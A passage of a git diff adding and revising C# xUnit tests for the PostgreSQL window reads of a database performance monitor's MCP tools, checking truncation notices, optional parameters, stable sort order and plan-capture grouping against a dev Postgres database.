+            await SeedWindowAsync(c, "short", end.AddDays(-30), end.AddDays(-2), 30, end);
+            await SeedEventAsync(c, "short", end.AddMinutes(-20), end.AddMinutes(-20));
+            var calls = 0;
+            DarlingMcpWindowNotice.TestOnlyProbe = () => { calls++; return Task.FromResult<DateTime?>(null); };
+
+            var root = WindowFloorLiveHarness.Parse(await CallWindowAsync(ds, "short", 1, end));
+
+            Assert.Equal(0, calls);
+            Assert.False(root.GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(1, root.GetProperty("events").GetArrayLength());
+        });
+
+    [Fact]
+    public async Task AFailedProbe_CostsTheNotice_NeverTheRows_AgainstDevPostgres() =>
+        await RunWindowAsync("probefail", async (c, ds, end) =>
+        {
+            await SeedWindowAsync(c, "probefail", end.AddDays(-2), end.AddDays(-2), 30, end);
+            await SeedEventAsync(c, "probefail", end.AddHours(-3), end.AddHours(-3));
+            DarlingMcpWindowNotice.TestOnlyProbe = () => throw new TimeoutException("the probe's deadline passed");
+
+            var root = WindowFloorLiveHarness.Parse(await CallWindowAsync(ds, "probefail", 168, end));
+            Assert.False(root.TryGetProperty("status", out _));
+            Assert.Equal(1, root.GetProperty("events").GetArrayLength());
+            Assert.False(root.TryGetProperty("effective_start", out _));
+            Assert.False(root.TryGetProperty("window_truncated", out _));
+            Assert.False(root.TryGetProperty("truncation_note", out _));
+
+            var empty = WindowFloorLiveHarness.Parse(await CallWindowAsync(ds, "probefail", 1, end.AddDays(-9)));
+            Assert.Equal("empty", empty.GetProperty("status").GetString());
+            Assert.False(empty.TryGetProperty("hints", out _));
+        });
 }
diff --git a/Darling/Darling.Tests/DarlingMcpObjectStatsToolsTests.cs b/Darling/Darling.Tests/DarlingMcpObjectStatsToolsTests.cs
index d55e766efb..f4caf3a9f4 100644
--- a/Darling/Darling.Tests/DarlingMcpObjectStatsToolsTests.cs
+++ b/Darling/Darling.Tests/DarlingMcpObjectStatsToolsTests.cs
@@ -71,11 +71,12 @@ private static (string Name, bool Optional)[] McpParams(string toolName)
     [Theory]
     [InlineData("get_table_index_sizes")]
     [InlineData("get_database_sizes")]
-    public void ParamContract_ServerNameOnly_Optional(string toolName)
+    public void ParamContract_ServerNameThenDatabaseName_Optional(string toolName)
     {
+        /* #5244 PR5: database_name is appended LAST (the Lite twin's order), and optional. */
         var p = McpParams(toolName);
-        Assert.Equal(new[] { "server_name" }, p.Select(x => x.Name).ToArray());
-        Assert.True(p.Single().Optional);
+        Assert.Equal(new[] { "server_name", "database_name" }, p.Select(x => x.Name).ToArray());
+        Assert.All(p, x => Assert.True(x.Optional));
     }
 
     /// <summary>
@@ -90,7 +91,8 @@ public void ObjectLocking_TakesALimit_Optional()
     {
         var p = McpParams("get_object_locking");
 
-        Assert.Equal(new[] { "server_name", "limit" }, p.Select(x => x.Name).ToArray());
+        /* #5231 PR2: database_name is appended LAST (Lite's twin has it too), and optional like the others. */
+        Assert.Equal(new[] { "server_name", "limit", "database_name" }, p.Select(x => x.Name).ToArray());
         Assert.All(p, x => Assert.True(x.Optional, $"{x.Name} must stay optional — existing callers pass neither"));
     }
 
@@ -181,6 +183,23 @@ public void IndexLockingSql_ServerLatestCapture_NonzeroWaits_ContendedFirst()
         Assert.DoesNotContain("GROUP BY database_name", sql, StringComparison.Ordinal);
     }
 
+    /// <summary>
+    /// #5372 L1: the locking list's ORDER BY ends in a total order, lock promotions and then the four-part name, as
+    /// <c>get_index_usage</c> does, so a filtered page capped at the limit is the same rows on every poll. The rows listed
+    /// only for a lock promotion all sum to 0 and tie, which is the case the tiebreaker is for. Lite's twin pins the same
+    /// order by running it (<c>TiedRows_AtTheCap_ComeBackInAFixedOrder</c>).
+    /// </summary>
+    [Fact]
+    public void IndexLockingSql_OrderEndsInATotalOrder_SoATiedCappedPageIsStable()
+    {
+        var sql = DarlingObjectStatsReader.IndexLockingSql;
+        var order = sql[sql.LastIndexOf("ORDER BY", StringComparison.Ordinal)..];
+        SqlTextPin.AssertExpresses(
+            "DESC, COALESCE(ios.index_lock_promotion_count, 0) DESC, ios.database_name, ios.schema_name, ios.table_name, ios.index_name NULLS LAST LIMIT $3",
+            order,
+            "the locking list's order has no tiebreaker: tied rows at the cap can change between two polls");
+    }
+
     /// <summary>
     /// #3880, Erik's ruling on the call #3878/#3879 recorded: the read PROJECTS its anchor column, so
     /// <c>get_object_locking</c> can stamp the snapshot it answered from. The always-runs half of the live
@@ -478,19 +497,19 @@ the stamp are now the same column of the same statement. The pre-rename capture
             }
 
             /* 2. The Viewer's all-databases grid. */
-            var gridRows = await viewer.GetIndexLockingAsync(ServerId, 200, null, ct);
+            var gridRows = await viewer.GetIndexLockingAsync(ServerId, 200, null, cancellationToken: ct);
             Assert.Contains(gridRows, r => r.DatabaseName == NewName && r.RowLockWaitInMs == 70_000);
             Assert.DoesNotContain(gridRows, r => r.DatabaseName == OldName);
 
             /* 3. The DB selector: a name it does not offer cannot be picked. */
-            var selector = await viewer.GetIndexLockingDatabasesAsync(ServerId, ct);
+            var selector = await viewer.GetIndexLockingDatabasesAsync(ServerId, cancellationToken: ct);
             Assert.Contains(NewName, selector);
             Assert.DoesNotContain(OldName, selector);
 
             /* 4. The filtered arm, asked for the dead name directly — the one a stale bookmark or a
                hand-typed filter would still reach. */
-            Assert.Empty(await viewer.GetIndexLockingAsync(ServerId, 200, OldName, ct));
-            Assert.NotEmpty(await viewer.GetIndexLockingAsync(ServerId, 200, NewName, ct));
+            Assert.Empty(await viewer.GetIndexLockingAsync(ServerId, 200, OldName, cancellationToken: ct));
+            Assert.NotEmpty(await viewer.GetIndexLockingAsync(ServerId, 200, NewName, cancellationToken: ct));
 
             /* History is intact: the pre-rename rows are still there, at the capture that saw them. */
             using var history = new NpgsqlCommand(
diff --git a/Darling/Darling.Tests/DarlingMcpPgPlanToolsTests.cs b/Darling/Darling.Tests/DarlingMcpPgPlanToolsTests.cs
index 1f18605c2b..9bf69c4937 100644
--- a/Darling/Darling.Tests/DarlingMcpPgPlanToolsTests.cs
+++ b/Darling/Darling.Tests/DarlingMcpPgPlanToolsTests.cs
@@ -502,6 +502,58 @@ await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =
         }
     }
 
+    /// <summary>
+    /// #5114: captures of one plan shape whose estimates differ share a <c>(query_id, plan_hash)</c>, so they are one
+    /// group, and the group's JSON is the LATEST capture's, not whichever sorts first as text.
+    /// </summary>
+    [Fact]
+    public async Task CapturesOfOneShapeWithDifferentEstimates_AreOneGroup_CarryingTheLatestJson()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live get_pg_plans latest-JSON test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        var bodySucceeded = false;
+
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+
+            var earlier = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow).AddMinutes(-40);
+            var later = earlier.AddMinutes(20);
+
+            /* The EARLIER capture's JSON sorts first as text ("Plan Rows":1 < "Plan Rows":9), so min() would pick it. */
+            await SeedCaptureAsync(connection, ct, earlier, WantedQueryId, planHash: "SHAPE1", durationMs: 10,
+                planJson: """{"Plan":{"Node Type":"Index Scan","Plan Rows":1}}""");
+            await SeedCaptureAsync(connection, ct, later, WantedQueryId, planHash: "SHAPE1", durationMs: 30,
+                planJson: """{"Plan":{"Node Type":"Index Scan","Plan Rows":9}}""");
+
+            var rows = await DarlingPgPlanCaptureReader.GetPgPlanCaptureAsync(
+                postgres, ServerId, DateTime.UtcNow.AddHours(-2), DateTime.UtcNow.AddMinutes(5), 10, cancellationToken: ct);
+
+            var group = Assert.Single(rows);
+            Assert.Equal("SHAPE1", group.PlanHash);
+            Assert.Equal(2, group.Captures);
+            Assert.Equal(40, group.TotalDurationMs);
+            Assert.Contains("\"Plan Rows\":9", group.PlanJson, StringComparison.Ordinal);
+            Assert.DoesNotContain("\"Plan Rows\":1}", group.PlanJson, StringComparison.Ordinal);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
     private static async Task SeedCaptureAsync(
         NpgsqlConnection connection, CancellationToken ct, DateTime collectionTimeUtc,
         long queryId, string planHash, double durationMs, string planJson) =>
diff --git a/Darling/Darling.Tests/DarlingMcpPgWindowD8aLiveTests.cs b/Darling/Darling.Tests/DarlingMcpPgWindowD8aLiveTests.cs
new file mode 100644
index 0000000000..c22609b9e8
--- /dev/null
+++ b/Darling/Darling.Tests/DarlingMcpPgWindowD8aLiveTests.cs
@@ -0,0 +1,315 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Text.Json;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The window-floor notice of the PostgreSQL window reads (#4966): top queries, database stats, I/O stats, captured plans and
+/// CPU utilization. Each tool writes <c>effective_start</c>, <c>window_truncated</c> and <c>truncation_note</c> right after
+/// <c>hours_back</c> on a data answer, carries them under <c>hints</c> on an empty one, and leaves a not-collected answer bare.
+/// </summary>
+public sealed class DarlingMcpPgSourceTests
+{
+    public static IEnumerable<object[]> WebListed() =>
+        [["get_pg_top_queries"], ["get_pg_database_stats"], ["get_pg_io_stats"], ["get_pg_plans"],
+         ["get_pg_blocking"], ["get_pg_session_states"], ["get_pg_replication_stats"],
+         ["get_pg_wait_stats"], ["get_pg_wait_sampling"], ["get_pg_kernel_stats"], ["get_pg_lock_stats"], ["get_pg_predicate_stats"],
+         ["get_pg_server_config_changes"], ["get_pg_xmin_horizon"]];
+
+    /// <summary>A tool the web lists probes the very source the web's note probes, so the tool and the page never name two starts.</summary>
+    [Theory]
+    [MemberData(nameof(WebListed))]
+    public void AWebListedTool_ProbesTheSourceTheWebProbes(string read)
+    {
+        Assert.True(WebDataStartNote.TryGetReadSource(read, out var web));
+        var tool = DarlingMcpWindowNotice.SourceFor(read);
+
+        Assert.Equal(web.Relation, tool.Relation);
+        Assert.Equal(web.TimeColumn, tool.TimeColumn);
+        Assert.Equal(web.EndExclusive, tool.EndExclusive);
+        Assert.Equal(web.CollectorName, tool.CollectorName);
+        Assert.Equal(web.LogCollectorName, tool.LogCollectorName);
+        Assert.Equal(WebDataStartNote.CollectorRunsByRead.ContainsKey(read), tool.LogCollectorName is not null);
+    }
+
+    /// <summary>The one read the web does not list is probed on its collector's own table.</summary>
+    [Theory]
+    [InlineData("get_pg_cpu_utilization", "pg_cpu_utilization")]
+    public void AnUnlistedTool_ProbesItsCollectorTable(string read, string table)
+    {
+        Assert.False(WebDataStartNote.TableByRead.ContainsKey(read));
+        var source = DarlingMcpWindowNotice.SourceFor(read);
+        Assert.Equal(table, source.Relation);
+        Assert.Equal("collection_time", source.TimeColumn);
+        Assert.Equal(table, DarlingMcpWindowNotice.TableFor(read));
+    }
+}
+
+[Collection("live-postgres")]
+public sealed class DarlingMcpPgWindowD8aLiveTests
+{
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private sealed record Tool(string Read, string Table, string Collector, Func<NpgsqlDataSource, string, int, DateTime, Task<string>> Call, Func<NpgsqlConnection, string, DateTime, Task> SeedRow);
+
+    private static string Name(string read, string window) => "pgwin-" + read.Replace("get_pg_", "").Replace('_', '-') + "-" + window;
+
+    private static Task Exec(NpgsqlConnection c, string sql, params object?[] values) =>
+        DarlingMcpTestData.ExecAsync(c, TestContext.Current.CancellationToken, sql, values);
+
+    private static int Id(string name) => ServerIdHelper.GetDeterministicHashCode(name);
+
+    private static string AsOf(DateTime end) => WebDataStartNote.FormatWindowEnd(end);
+
+    /// <summary>Two cumulative samples a minute apart at <paramref name="at"/>, so the differencing reads have an interval.</summary>
+    private static readonly Tool[] Tools =
+    [
+        new("get_pg_top_queries", "pg_statement_stats", "pg_statement_stats",
+            (ds, n, h, end) => DarlingMcpPgStatementTools.GetPgTopQueries(ds, n, h, as_of: AsOf(end)),
+            async (c, n, at) => await Exec(c,
+                "INSERT INTO pg_statement_stats (collection_id, collection_time, server_id, server_name, queryid, database_id, user_id, toplevel, calls, total_exec_time_ms, min_exec_time_ms, max_exec_time_ms, mean_exec_time_ms, rows_returned, shared_blks_hit, shared_blks_read, shared_blks_dirtied, shared_blks_written, temp_blks_read, temp_blks_written, blk_read_time_ms, blk_write_time_ms, wal_records, wal_fpi, wal_bytes, delta_calls, delta_total_exec_time_ms, delta_rows, sample_interval_seconds) VALUES ($1, $2, $3, $4, 1, 1, 1, TRUE, 10, 100.0, 1.0, 20.0, 10.0, 100, 100, 10, 0, 0, 0, 0, 1.0, 0.0, 0, 0, 0, 5, 50.0, 50, 60)",
+                CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(at), Id(n), n)),
+        new("get_pg_database_stats", "pg_database_stats", "pg_database_stats",
+            (ds, n, h, end) => DarlingMcpPgDatabaseTools.GetPgDatabaseStats(ds, n, h, as_of: AsOf(end)),
+            async (c, n, at) =>
+            {
+                foreach (var (snap, commits) in new[] { (at, 1000L), (at.AddMinutes(1), 1100L) })
+                {
+                    await Exec(c,
+                        "INSERT INTO pg_database_stats (collection_id, collection_time, server_id, server_name, database_name, xact_commit, xact_rollback, blks_read, blks_hit, temp_files, temp_bytes, deadlocks, stats_reset) VALUES ($1, $2, $3, $4, 'appdb', $5, 0, 100, 9000, 0, 0, 0, NULL)",
+                        CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(snap), Id(n), n, commits);
+                }
+            }),
+        new("get_pg_io_stats", "pg_io_stats", "pg_io_stats",
+            (ds, n, h, end) => DarlingMcpPgIoTools.GetPgIoStats(ds, n, h, as_of: AsOf(end)),
+            async (c, n, at) =>
+            {
+                foreach (var (snap, reads) in new[] { (at, 10L), (at.AddMinutes(1), 500L) })
+                {
+                    await Exec(c,
+                        "INSERT INTO pg_io_stats (collection_id, collection_time, server_id, server_name, backend_type, object_type, context, reads, read_time_ms, writes, write_time_ms, writebacks, writeback_time_ms, extends, extend_time_ms, op_bytes, hits, evictions, reuses, fsyncs, fsync_time_ms, stats_reset, read_bytes, write_bytes, extend_bytes) VALUES ($1, $2, $3, $4, 'client backend', 'relation', 'normal', $5, 0.0, 0, 0.0, 0, 0, 0, 0, 8192, 0, 0, 0, 0, 0, NULL, 0, 0, 0)",
+                        CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(snap), Id(n), n, reads);
+                }
+            }),
+        new("get_pg_plans", "pg_plan_capture", "pg_plan_capture",
+            (ds, n, h, end) => DarlingMcpPgPlanTools.GetPgPlans(ds, n, h, as_of: AsOf(end)),
+            async (c, n, at) => await Exec(c,
+                "INSERT INTO pg_plan_capture (collection_id, collection_time, server_id, server_name, query_id, plan_hash, duration_ms, node_count, top_node_type, plan_json) VALUES ($1, $2, $3, $4, 7, 'h1', 1200.0, 3, 'Seeded', '{\"Plan\":{\"Node Type\":\"Seq Scan\"}}')",
+                CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(at), Id(n), n)),
+        new("get_pg_cpu_utilization", "pg_cpu_utilization", "pg_cpu_utilization",
+            (ds, n, h, end) => DarlingMcpPgCpuUtilizationTools.GetPgCpuUtilization(ds, n, h, AsOf(end)),
+            async (c, n, at) => await Exec(c,
+                "INSERT INTO pg_cpu_utilization (collection_id, collection_time, server_id, server_name, sample_time, cpu_percent, acu_utilization_percent, serverless_capacity_acu, max_configured_acu) VALUES ($1, $2, $3, $4, $2, 30.0, 25.0, 3.8, 12.0)",
+                CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(at), Id(n), n)),
+    ];
+
+    public static IEnumerable<object[]> ToolNames() => Tools.Select(t => new object[] { t.Read });
+
+    private static Tool Of(string read) => Tools.Single(t => t.Read == read);
+
+    private static Task RunAsync(Tool t, string window, Func<NpgsqlConnection, NpgsqlDataSource, DateTime, string, Task> body) =>
+        WindowFloorLiveHarness.RunAsync(ConnectionString, [t.Collector], [Name(t.Read, window)], [t.Table],
+            (c, ds, end) => body(c, ds, end, Name(t.Read, window)));
+
+    private static Task SeedServerAsync(NpgsqlConnection c, Tool t, string name, DateTime created, DateTime? runsFrom, DateTime end) =>
+        WindowFloorLiveHarness.SeedServerAsync(c, name, created, t.Collector, runsFrom, 30, end, [t.Table], TestContext.Current.CancellationToken);
+
+    private static Task SetEngineAsync(NpgsqlConnection c, string name, int edition, string? kind) =>
+        Exec(c, "UPDATE servers SET sql_engine_edition = $2, engine_kind = $3 WHERE server_id = $1", Id(name), edition, kind);
+
+    [Theory]
+    [MemberData(nameof(ToolNames))]
+    public async Task ADataAnswer_ForAServerAddedTwoDaysAgo_NamesWhereCoverageStarts_RightAfterHoursBack_AgainstDevPostgres(string read)
+    {
+        var t = Of(read);
+        await RunAsync(t, "added", async (c, ds, end, name) =>
+        {
+            var added = end.AddDays(-2);
+            await SeedServerAsync(c, t, name, added, added, end);
+            /* A dense collector's edge is its oldest row, so the first row lands at the start of collection. */
+            await t.SeedRow(c, name, added);
+            await t.SeedRow(c, name, end.AddDays(-1));
+
+            var root = WindowFloorLiveHarness.Parse(await t.Call(ds, name, 168, end));
+
+            Assert.False(root.TryGetProperty("status", out var status) && status.GetString() != "database_activity" && status.GetString() != "io_activity", root.ToString());
+            Assert.True(root.GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(McpHelpers.FormatEffectiveStart(added), root.GetProperty("effective_start").GetString());
+            Assert.Equal(DarlingMcpWindowNotice.Build(added, end.AddHours(-168), DarlingMcpWindowNotice.TableFor(read)).TruncationNote, root.GetProperty("truncation_note").GetString());
+
+            var names = root.EnumerateObject().Select(p => p.Name).ToList();
+            Assert.Equal(["effective_start", "window_truncated", "truncation_note"], names.Skip(names.IndexOf("hours_back") + 1).Take(3));
+        });
+    }
+
+    [Theory]
+    [MemberData(nameof(ToolNames))]
+    public async Task ADataAnswer_WhoseCollectionStartsBeforeTheWindow_IsCovered_AgainstDevPostgres(string read)
+    {
+        var t = Of(read);
+        await RunAsync(t, "quiet", async (c, ds, end, name) =>
+        {
+            await SeedServerAsync(c, t, name, end.AddDays(-30), end.AddDays(-9), end);
+            await t.SeedRow(c, name, end.AddDays(-8));
+            await t.SeedRow(c, name, end.AddDays(-5));
+
+            var root = WindowFloorLiveHarness.Parse(await t.Call(ds, name, 168, end));
+
+            Assert.False(root.GetProperty("window_truncated").GetBoolean(), root.ToString());
+            Assert.Equal(JsonValueKind.Null, root.GetProperty("truncation_note").ValueKind);
+        });
+    }
+
+    [Theory]
+    [MemberData(nameof(ToolNames))]
+    public async Task AShortWindow_WithRows_StartsNoProbe_AgainstDevPostgres(string read)
+    {
+        var t = Of(read);
+        await RunAsync(t, "short", async (c, ds, end, name) =>
+        {
+            await SeedServerAsync(c, t, name, end.AddDays(-30), end.AddDays(-2), end);
+            await t.SeedRow(c, name, end.AddMinutes(-40));
+            var calls = 0;
+            DarlingMcpWindowNotice.TestOnlyProbe = () => { calls++; return Task.FromResult<DateTime?>(null); };
+
+            var root = WindowFloorLiveHarness.Parse(await t.Call(ds, name, 1, end));
+
+            Assert.Equal(0, calls);
+            Assert.False(root.GetProperty("window_truncated").GetBoolean(), root.ToString());
+        });
+    }
+
+    [Theory]
+    [MemberData(nameof(ToolNames))]
+    public async Task AFailedProbe_CostsTheNotice_NeverTheRows_AgainstDevPostgres(string read)
+    {
+        var t = Of(read);
+        await RunAsync(t, "probefail", async (c, ds, end, name) =>
+        {
+            await SeedServerAsync(c, t, name, end.AddDays(-2), end.AddDays(-2), end);
+            await t.SeedRow(c, name, end.AddDays(-1));
+            DarlingMcpWindowNotice.TestOnlyProbe = () => throw new TimeoutException("the probe's deadline passed");
+
+            var root = WindowFloorLiveHarness.Parse(await t.Call(ds, name, 168, end));
+
+            Assert.False(McpHelpers.IsErrorEnvelope(root.ToString()), root.ToString());
+            Assert.False(root.TryGetProperty("effective_start", out _));
+            Assert.False(root.TryGetProperty("window_truncated", out _));
+            Assert.False(root.TryGetProperty("truncation_note", out _));
+            Assert.True(root.EnumerateObject().Count() > 5, "the rows must survive the failed probe");
+        });
+    }
+
+    /// <summary>Two quiet snapshots inside a window that begins before collection did: the all-clear names where the data starts instead (#4966).</summary>
+    [Fact]
+    public async Task ADatabaseStatsAllClear_OverACutWindow_NamesWhereTheDataStarts_AgainstDevPostgres()
+    {
+        var t = Of("get_pg_database_stats");
+        await RunAsync(t, "emptycut", async (c, ds, end, name) =>
+        {
+            var began = end.AddMinutes(-40);
+            await SeedServerAsync(c, t, name, began, began, end);
+            foreach (var snap in new[] { end.AddMinutes(-30), end.AddMinutes(-20) })
+            {
+                await Exec(c,
+                    "INSERT INTO pg_database_stats (collection_id, collection_time, server_id, server_name, database_name, xact_commit, xact_rollback, blks_read, blks_hit, temp_files, temp_bytes, deadlocks, stats_reset) VALUES ($1, $2, $3, $4, 'quietdb', 1000, 10, 100, 9900, 0, 0, 0, NULL)",
+                    CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(snap), Id(name), name);
+            }
+
+            var root = WindowFloorLiveHarness.Parse(await t.Call(ds, name, 3, end));
+
+            Assert.Equal("empty", root.GetProperty("status").GetString());
+            Assert.True(root.GetProperty("hints").GetProperty("window_truncated").GetBoolean(), root.ToString());
+            var message = root.GetProperty("message").GetString()!;
+            Assert.EndsWith(". " + McpHelpers.CutWindowNothingMessage, message, StringComparison.Ordinal);
+            Assert.DoesNotContain("genuine all-clear", message, StringComparison.Ordinal);
+        });
+    }
+
+    [Theory]
+    [InlineData("get_pg_io_stats")]
+    [InlineData("get_pg_plans")]
+    [InlineData("get_pg_cpu_utilization")]
+    public async Task AnEmptyAnswer_PastCoverage_CarriesHints_AgainstDevPostgres(string read)
+    {
+        var t = Of(read);
+        await RunAsync(t, "empty", async (c, ds, end, name) =>
+        {
+            await SeedServerAsync(c, t, name, end.AddDays(-30), null, end);
+
+            var root = WindowFloorLiveHarness.Parse(await t.Call(ds, name, 1, end));
+
+            Assert.False(root.TryGetProperty("window_truncated", out _), "an empty answer carries the keys under hints, not at the top");
+            var hints = root.GetProperty("hints");
+            Assert.True(hints.GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(JsonValueKind.Null, hints.GetProperty("effective_start").ValueKind);
+            Assert.Contains("no collection of " + t.Table, hints.GetProperty("truncation_note").GetString(), StringComparison.Ordinal);
+        });
+    }
+
+    [Fact]
+    public async Task ADatabaseStatsEmptyAnswer_WithTwoQuietSamples_CarriesHintsBesideItsOwn_AgainstDevPostgres()
+    {
+        var t = Of("get_pg_database_stats");
+        await RunAsync(t, "empty", async (c, ds, end, name) =>
+        {
+            await SeedServerAsync(c, t, name, end.AddDays(-30), end.AddDays(-30), end);
+            foreach (var snap in new[] { end.AddMinutes(-30), end.AddMinutes(-20) })
+            {
+                await Exec(c,
+                    "INSERT INTO pg_database_stats (collection_id, collection_time, server_id, server_name, database_name, xact_commit, xact_rollback, blks_read, blks_hit, temp_files, temp_bytes, deadlocks, stats_reset) VALUES ($1, $2, $3, $4, 'appdb', 1000, 0, 100, 9000, 0, 0, 0, NULL)",
+                    CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(snap), Id(name), name);
+            }
+
+            var root = WindowFloorLiveHarness.Parse(await t.Call(ds, name, 1, end));
+
+            Assert.Equal("empty", root.GetProperty("status").GetString());
+            var hints = root.GetProperty("hints");
+            Assert.Equal("2+", hints.GetProperty("samples_in_window").GetString());
+            Assert.False(hints.GetProperty("window_truncated").GetBoolean());
+            Assert.True(hints.TryGetProperty("effective_start", out _));
+        });
+    }
+
+    [Theory]
+    [InlineData("get_pg_top_queries", 3, "sqlserver")]
+    [InlineData("get_pg_database_stats", 3, "sqlserver")]
+    [InlineData("get_pg_io_stats", 3, "sqlserver")]
+    [InlineData("get_pg_plans", 3, "sqlserver")]
+    [InlineData("get_pg_cpu_utilization", 0, "postgres")]
+    public async Task ANotCollectedAnswer_StaysBare_AndStartsNoProbe_AgainstDevPostgres(string read, int edition, string? kind)
+    {
+        var t = Of(read);
+        await RunAsync(t, "notcollected", async (c, ds, end, name) =>
+        {
+            await SeedServerAsync(c, t, name, end.AddDays(-30), null, end);
+            await SetEngineAsync(c, name, edition, kind);
+            var calls = 0;
+            DarlingMcpWindowNotice.TestOnlyProbe = () => { calls++; return Task.FromResult<DateTime?>(null); };
+
+            var root = WindowFloorLiveHarness.Parse(await t.Call(ds, name, 168, end));
+
+            Assert.Equal("not_collected", root.GetProperty("status").GetString());
+            Assert.False(root.TryGetProperty("hints", out _));
+            Assert.Equal(0, calls);
+        });
+    }
+}
diff --git a/Darling/Darling.Tests/DarlingMcpPgWindowD8bLiveTests.cs b/Darling/Darling.Tests/DarlingMcpPgWindowD8bLiveTests.cs
new file mode 100644
index 0000000000..986bcee148
--- /dev/null
+++ b/Darling/Darling.Tests/DarlingMcpPgWindowD8bLiveTests.cs
@@ -0,0 +1,262 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.Json;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The window-floor notice of the sparse PostgreSQL reads (blocking, session states, replication stats) and the xmin horizon
+/// (#4966). The three sparse reads are probed on their collector's logged runs, the xmin horizon on its table's schedule edge.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class DarlingMcpPgWindowD8bLiveTests
+{
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private sealed record Tool(string Read, string Table, string Collector, bool RunsProbed, Func<NpgsqlDataSource, string, int, DateTime, Task<string>> Call, Func<NpgsqlConnection, string, DateTime, Task> SeedRow);
+
+    private static string Name(string read, string window) => "pgwin-" + read.Replace("get_pg_", "").Replace('_', '-') + "-" + window;
+
+    private static Task Exec(NpgsqlConnection c, string sql, params object?[] values) =>
+        DarlingMcpTestData.ExecAsync(c, TestContext.Current.CancellationToken, sql, values);
+
+    private static int Id(string name) => ServerIdHelper.GetDeterministicHashCode(name);
+
+    private static string AsOf(DateTime end) => WebDataStartNote.FormatWindowEnd(end);
+
+    private static readonly Tool[] Tools =
+    [
+        new("get_pg_blocking", "pg_blocking_edges", "pg_blocking", true,
+            (ds, n, h, end) => DarlingMcpPgBlockingTools.GetPgBlocking(ds, n, h, as_of: AsOf(end)),
+            async (c, n, at) => await Exec(c,
+                "INSERT INTO pg_blocking_edges (collection_id, collection_time, server_id, server_name, blocked_backend_id, blocked_pid, blocking_backend_id, blocking_pid, database_name, blocked_username, blocked_application_name, blocked_client_addr, blocked_state, blocked_wait_event_type, blocked_wait_event, blocked_query, blocked_xact_duration_ms, blocked_query_duration_ms, blocking_username, blocking_application_name, blocking_client_addr, blocking_state, blocking_wait_event_type, blocking_wait_event, blocking_query, blocking_xact_duration_ms, blocking_query_duration_ms, blocked_pid_count, blocking_is_idle_in_transaction, query_text_may_be_truncated) VALUES ($1, $2, $3, $4, 1, 100, 2, 200, 'appdb', 'user1', 'app', '10.0.0.1', 'active', 'Lock', 'relation', 'select 1', 100, 100, 'user2', 'app', '10.0.0.2', 'idle in transaction', NULL, NULL, 'select 2', 200, 200, 1, TRUE, FALSE)",
+                CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(at), Id(n), n)),
+        new("get_pg_session_states", "pg_session_states", "pg_session_states", true,
+            (ds, n, h, end) => DarlingMcpPgSessionStatesTools.GetPgSessionStates(ds, n, h, as_of: AsOf(end)),
+            async (c, n, at) => await Exec(c, @"
+INSERT INTO pg_session_states
+    (collection_id, collection_time, server_id, server_name, backend_id, pid, database_name, username, application_name, client_addr,
+     backend_type, state, wait_event_type, wait_event, command_tag, query_id,
+     state_duration_ms, xact_duration_ms, query_duration_ms, backend_duration_ms, xmin_age, xid_age, horizon_age,
+     is_idle_in_transaction, is_horizon_holder, state_is_redacted,
+     total_sessions, active_sessions, idle_in_transaction_sessions, reportable_sessions)
+VALUES ($1, $2, $3, $4, 5, 500, 'appdb', 'u', 'app', NULL,
+        'client backend', 'idle in transaction', NULL, NULL, 'SELECT', NULL,
+        900000, 900000, 900000, 900000, 100, 100, 100,
+        true, true, false,
+        3, 1, 1, 3)",
+                CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(at), Id(n), n)),
+        new("get_pg_replication_stats", "pg_replication_stats", "pg_replication_stats", true,
+            (ds, n, h, end) => DarlingMcpPgReplicationStatsTools.GetPgReplicationStats(ds, n, h, as_of: AsOf(end)),
+            async (c, n, at) => await Exec(c,
